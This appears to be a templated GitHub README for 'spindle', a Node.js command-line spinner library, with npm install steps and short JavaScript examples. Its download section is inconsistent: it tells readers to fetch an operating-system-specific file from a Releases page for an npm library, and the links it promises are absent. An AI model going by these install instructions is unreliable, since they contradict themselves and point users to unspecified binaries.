cmustardo100

🎡 spindle - Effortless Multi-Spinner for Command Line

🚀 Getting Started

Welcome to spindle! This library offers a simple way to add multi-spinners to your command line applications. You can create an engaging user experience without any complex coding.

🎯 Features

• Lightweight: Designed to be easy on your system.
• Singleton-based: Use the library without worrying about multiple instances.
• Asynchronous: Manage multiple spinners with ease.
• Customizable: Adjust appearance to fit your needs.
• Works well with: Libraries like ora, listr, and log-update.

📥 Download & Install

To get spindle, visit the Releases page. Here you will find the latest version to download:

Here is the direct link to download spindle.

1. Click the link above to reach the Releases page.
2. Look for the latest version at the top of the page.
3. Download the appropriate file for your operating system.

🔍 System Requirements

• Operating System: spindle works on Windows, macOS, and Linux.
• Node.js: Make sure you have Node.js version 10 or later installed.

📝 Usage Instructions

Once you have installed spindle, you can start using it in your Node.js applications. Follow these steps to get started:

1. Open your Command Line Interface: This can be Terminal on macOS and Linux, or Command Prompt on Windows.

2. Navigate to your project folder: Use the cd command to go to the desired directory. For example:

   cd path/to/your/project
   

3. Install spindle: Use npm to install spindle in your project. Run the following command:

   npm install spindle
   

4. Create a simple spinner: Create a file, say app.js, and add the following code:

   const { Spinner } = require('spindle');
   
   const spinner = new Spinner('Loading...');
   
   spinner.start();
   setTimeout(() => {
     spinner.stop();
     console.log('Done!');
   }, 3000);
   

5. Run your application: Use the command below to see the spinner in action:

   node app.js
   

📘 Example Spinners

You can create various types of spinners. Here are some examples:

• Basic Spinner:

   const spinner = new Spinner('Processing...');
  

• Customized Spinner:

   const spinner = new Spinner('Fetching data...', {
     format: '🔄 {spinner} {message}',
   });
  

Play around with different messages and styles to see what fits your application.

❓ Frequently Asked Questions

🔍 What is a spinner?

A spinner is a visual indication that a process is ongoing in your command line application. It keeps users informed and engaged.

🛠️ Can I customize the spinner?

Yes. You can change the message and style. Refer to the usage section for details.

📅 How often is spindle updated?

We aim for regular updates to improve performance and add features based on user feedback.

💬 Community Support

For questions or assistance, feel free to reach out through our issues section on GitHub. We appreciate user input and work to address any concerns as quickly as possible.

🔗 Helpful Links

• Releases Page: Download spindle here.
• Documentation: Refer to the documentation for more advanced usage.

🏁 Conclusion

With spindle, adding spinners to your command line applications is straightforward. Follow the steps above to enhance your user interface effortlessly. We look forward to seeing how you use spindle in your projects!